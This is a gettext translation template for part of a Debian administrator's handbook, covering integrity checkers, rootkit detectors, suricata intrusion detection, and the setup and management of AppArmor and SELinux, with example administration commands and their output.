msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role=\"pkg\">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr ""

msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend=\"sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages\" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr ""

msgid "<emphasis>QUICK LOOK</emphasis> The <emphasis role=\"pkg\">checksecurity</emphasis> and <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis> packages"
msgstr ""

msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr ""

msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr ""

msgid "The <emphasis role=\"pkg\">chkrootkit</emphasis> and <emphasis role=\"pkg\">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr ""

msgid "Detecting Intrusion (IDS/NIDS)"
msgstr ""

msgid "<primary>detection, intrusion</primary>"
msgstr ""

msgid "<primary>intrusion detection</primary>"
msgstr ""

msgid "<primary>IDS</primary>"
msgstr ""

msgid "<primary>intrusion detection system</primary>"
msgstr ""

msgid "<primary>NIDS</primary>"
msgstr ""

msgid "<primary>Network</primary><secondary>IDS</secondary>"
msgstr ""

msgid "<emphasis>BACK TO BASICS</emphasis> Denial of service"
msgstr ""

msgid "<primary>denial of service</primary>"
msgstr ""

msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr ""

msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not)."
msgstr ""

msgid "<command>suricata</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in <filename>/var/log/suricata</filename>. There are third party tools (Kibana/logstash) to better browse all the data collected. <ulink type=\"block\" url=\"http://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgstr ""

msgid "<primary><command>snort</command></primary>"
msgstr ""

msgid "<primary><command>suricata</command></primary>"
msgstr ""

msgid "<emphasis>CAUTION</emphasis> Range of action"
msgstr ""

msgid "The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr ""

msgid "Configuring suricata involves reviewing and editing <filename>/etc/suricata/suricata-debian.yaml</filename>, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (<literal>HOME_NET</literal> parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgstr ""

msgid "On top of this, you should also edit <filename>/etc/default/suricata</filename> to define the network interface to monitor and to enable the init script (by setting <literal>RUN=yes</literal>). You might also want to set <literal>LISTENMODE=pcap</literal> because the default <literal>LISTENMODE=nfqueue</literal> requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the <literal>NFQUEUE</literal> target)."
msgstr ""

msgid "To detect bad behaviour, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role=\"pkg\">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it. Unfortunately that package is missing from <emphasis role=\"distribution\">Debian Jessie</emphasis> and should be retrieved from another Debian release like <emphasis role=\"distribution\">Testing</emphasis> or <emphasis role=\"distribution\">Unstable</emphasis>."
msgstr ""

msgid "Alternatively, <command>oinkmaster</command> (in the package of the same name) can be used to download Snort rulesets from external sources."
msgstr ""

msgid "<emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>"
msgstr ""

msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role=\"pkg\">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types."
msgstr ""

msgid "Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend=\"sect.logcheck\" />)."
msgstr ""

msgid "<primary><command>prelude</command></primary>"
msgstr ""

msgid "Introduction to AppArmor"
msgstr ""

msgid "<primary>AppArmor</primary>"
msgstr ""

msgid "Principles"
msgstr ""

msgid "AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources."
msgstr ""

msgid "<primary><emphasis>Mandatory Access Control</emphasis></primary>"
msgstr ""

msgid "<primary><emphasis>Linux Security Modules</emphasis></primary>"
msgstr ""

msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend=\"sect.selinux\" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!)."
msgstr ""

msgid "AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied."
msgstr ""

msgid "Enabling AppArmor and managing AppArmor profiles"
msgstr ""

msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:"
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>apt install apparmor apparmor-profiles apparmor-utils\n"
"</userinput><computeroutput>[...]\n"
"# </computeroutput><userinput>perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
"</userinput><computeroutput># </computeroutput><userinput>update-grub\n"
"</userinput>"
msgstr ""

msgid "After a reboot, AppArmor is now functional and <command>aa-status</command> will confirm it quickly:"
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
"<computeroutput>apparmor module is loaded.\n"
"44 profiles are loaded.\n"
"9 profiles are in enforce mode.\n"
"   /usr/bin/lxc-start\n"
"   /usr/lib/chromium-browser/chromium-browser//browser_java\n"
"[...]\n"
"35 profiles are in complain mode.\n"
"   /sbin/klogd\n"
"[...]\n"
"3 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
"   /usr/sbin/libvirtd (1295) \n"
"2 processes are in complain mode.\n"
"   /usr/sbin/avahi-daemon (941) \n"
"   /usr/sbin/avahi-daemon (1000) \n"
"0 processes are unconfined but have a profile defined.</computeroutput>"
msgstr ""

msgid "<emphasis>NOTE</emphasis> More AppArmor profiles"
msgstr ""

msgid "The <emphasis role=\"pkg\">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role=\"pkg\">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian."
msgstr ""

msgid "The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>."
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-enforce /usr/sbin/avahi-daemon</userinput>\n"
"<computeroutput>Setting /usr/sbin/avahi-daemon to enforce mode.</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>aa-complain /etc/apparmor.d/usr.bin.lxc-start</userinput>\n"
"<computeroutput>Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.</computeroutput>\n"
"      "
msgstr ""

msgid "Creating a new profile"
msgstr ""

msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses."
msgstr ""

msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection."
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
"<computeroutput>801 /sbin/dhclient not confined\n"
"890 /sbin/rpcbind not confined\n"
"899 /sbin/rpc.statd not confined\n"
"929 /usr/sbin/sshd not confined\n"
"941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
"988 /usr/sbin/minissdpd not confined\n"
"1276 /usr/sbin/exim4 not confined\n"
"1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
"1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
"19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined</computeroutput>\n"
"      "
msgstr ""

msgid "In the following example, we will thus try to create a profile for <command>/sbin/dhclient</command>. For this we will use <command>aa-genprof dhclient</command>. It will invite you to use the application in another window and when done to come back to <command>aa-genprof</command> to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
"<computeroutput>Writing updated profile for /sbin/dhclient.\n"
"Setting /sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/audit/audit.log.\n"
"\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
"Execute:  /usr/lib/NetworkManager/nm-dhcp-helper\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"<userinput>P</userinput>\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"<userinput>Y</userinput>\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"Complain-mode changes:\n"
"WARN: unknown capability: CAP_net_raw\n"
"\n"
"Profile:    /sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
"Capability: net_raw\n"
"Severity:   unknown\n"
"\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
"Path:     /etc/nsswitch.conf\n"
"Mode:     r\n"
"Severity: unknown\n"
"\n"
"  1 - #include &lt;abstractions/apache2-common&gt; \n"
"  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
"  3 - #include &lt;abstractions/nameservice&gt; \n"
"  4 - #include &lt;abstractions/totem&gt; \n"
" [5 - /etc/nsswitch.conf]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>3</userinput>\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /etc/nsswitch.conf\n"
"Mode:     r\n"
"Severity: unknown\n"
"\n"
"  1 - #include &lt;abstractions/apache2-common&gt; \n"
"  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
" [3 - #include &lt;abstractions/nameservice&gt;]\n"
"  4 - #include &lt;abstractions/totem&gt; \n"
"  5 - /etc/nsswitch.conf \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding #include &lt;abstractions/nameservice&gt; to profile.\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /proc/7252/net/dev\n"
"Mode:     r\n"
"Severity: 6\n"
"\n"
"  1 - /proc/7252/net/dev \n"
" [2 - /proc/*/net/dev]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/*/net/dev r to profile\n"
"\n"
"[...]\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-write\"></co>\n"
"Path:     /run/dhclient-eth0.pid\n"
"Mode:     w\n"
"Severity: unknown\n"
"\n"
" [1 - /run/dhclient-eth0.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>N</userinput>\n"
"\n"
"Enter new path: /run/dhclient*.pid\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /run/dhclient-eth0.pid\n"
"Mode:     w\n"
"Severity: unknown\n"
"\n"
"  1 - /run/dhclient-eth0.pid \n"
" [2 - /run/dhclient*.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /run/dhclient*.pid w to profile\n"
"\n"
"[...]\n"
"Profile:  /usr/lib/NetworkManager/nm-dhcp-helper <co id=\"aa-genprof-other-profile\"></co>\n"
"Path:     /proc/filesystems\n"
"Mode:     r\n"
"Severity: 6\n"
"\n"
" [1 - /proc/filesystems]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/filesystems r to profile\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /sbin/dhclient]\n"
"  2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"<userinput>S</userinput>\n"
"Writing updated profile for /sbin/dhclient.\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"<userinput>F</userinput>\n"
"Setting /sbin/dhclient to enforce mode.\n"
"Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Finished generating profile for /sbin/dhclient.</computeroutput>"
msgstr ""

msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript."
msgstr ""

msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)."
msgstr ""

msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run."
msgstr ""

msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability."
msgstr ""

msgid "Here the program seeks read permissions for <filename>/etc/nsswitch.conf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “3” to first select the “#include &lt;abstractions/nameservice&gt;” choice and then “A” to allow it."
msgstr ""

msgid "The program wants to create the <filename>/run/dhclient-eth0.pid</filename> file. If we allow the creation of this specific file only, the program will not work when the user will use it on another network interface. Thus we select “New” to replace the filename with the more generic “/run/dhclient*.pid” before recording the rule with “Allow”."
msgstr ""

msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/lib/NetworkManager/nm-dhcp-helper</filename> to run with its own profile."
msgstr ""

msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”."
msgstr ""

msgid "<command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created."
msgstr ""

msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/sbin.dhclient</filename> close to this:"
msgstr ""

msgid ""
"\n"
"# Last Modified: Tue Sep  8 21:40:02 2015\n"
"#include &lt;tunables/global&gt;\n"
"\n"
"/sbin/dhclient {\n"
"  #include &lt;abstractions/base&gt;\n"
"  #include &lt;abstractions/nameservice&gt;\n"
"\n"
"  capability net_bind_service,\n"
"  capability net_raw,\n"
"\n"
"  /bin/dash r,\n"
"  /etc/dhcp/* r,\n"
"  /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
"  /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
"  /etc/resolv.conf.* w,\n"
"  /etc/samba/dhcp.conf.* w,\n"
"  /proc/*/net/dev r,\n"
"  /proc/filesystems r,\n"
"  /run/dhclient*.pid w,\n"
"  /sbin/dhclient mr,\n"
"  /sbin/dhclient-script rCx,\n"
"  /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
"  /var/lib/NetworkManager/* r,\n"
"  /var/lib/NetworkManager/*.lease rw,\n"
"  /var/lib/dhcp/*.leases rw,\n"
"\n"
"  profile /sbin/dhclient-script flags=(complain) {\n"
"    #include &lt;abstractions/base&gt;\n"
"    #include &lt;abstractions/bash&gt;\n"
"\n"
"    /bin/dash rix,\n"
"    /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
"    /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
"    /sbin/dhclient-script r,\n"
"\n"
"  }\n"
"}\n"
"      "
msgstr ""

msgid "Introduction to SELinux"
msgstr ""

msgid "<primary>SELinux</primary>"
msgstr ""

msgid "SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr ""

msgid "SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work."
msgstr ""

msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr ""

msgid "Security contexts and Unix users"
msgstr ""

msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there's usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr ""

msgid "Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr ""

msgid "<emphasis>EXTRA</emphasis> Domains and types are equivalent"
msgstr ""

msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with <literal>_t</literal> just like objects' types."
msgstr ""

msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr ""

msgid "Automatic transitions between domains"
msgstr ""

msgid "<emphasis>IN PRACTICE</emphasis> Finding the security context"
msgstr ""

msgid "<primary>security context</primary>"
msgstr ""

msgid "<primary>context, security context</primary>"
msgstr ""

msgid "<primary>MCS (<emphasis>Multi-Category Security</emphasis>)</primary>"
msgstr ""

msgid "To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>."
msgstr ""

msgid "<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd</computeroutput>"
msgstr ""

msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr ""

msgid "To find the current security context in a shell, you should call <command>id -Z</command>."
msgstr ""

msgid "<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>"
msgstr ""

msgid "Finally, to find the type assigned to a file, you can use <command>ls -Z</command>."
msgstr ""

msgid ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
"     system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>"
msgstr ""

msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr ""

msgid "Setting Up SELinux"
msgstr ""

msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr ""

msgid "The <command>apt install selinux-basics selinux-policy-default</command> command will automatically install the packages required to configure an SELinux system."
msgstr ""

msgid "<emphasis>CAUTION</emphasis> Reference policy not in jessie"
msgstr ""

msgid "Unfortunately the maintainers of the <emphasis role=\"pkg\">refpolicy</emphasis> source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the <emphasis role=\"pkg\">selinux-policy-*</emphasis> packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable."
msgstr ""

msgid "This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs."
msgstr ""

msgid "The <emphasis role=\"pkg\">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section)."
msgstr ""

msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>."
msgstr ""

msgid "The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot."
msgstr ""

msgid "It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr ""

msgid "Managing an SELinux System"
msgstr ""

msgid "<primary><command>semodule</command></primary>"
msgstr ""

msgid "<primary><command>semanage</command></primary>"
msgstr ""

msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command."
msgstr ""

msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose."
msgstr ""

msgid "<emphasis>GOING FURTHER</emphasis> More documentation"
msgstr ""

msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"
msgstr ""

msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"
msgstr ""

msgid "Managing SELinux Modules"
msgstr ""

msgid "Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2)."
msgstr ""

msgid "Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>."
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt    1.5.0   Disabled\n"
"accountsd       1.1.0   \n"
"acct    1.6.0   \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt    1.5.0\n"
"accountsd       1.1.0   Disabled\n"
"acct    1.6.0   \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>accountsd       1.1.0   Disabled\n"
"acct    1.6.0   \n"
"[...]</computeroutput>"
msgstr ""

msgid "<command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option."
msgstr ""

msgid "Managing Identities"
msgstr ""

msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command."
msgstr ""

msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgstr ""

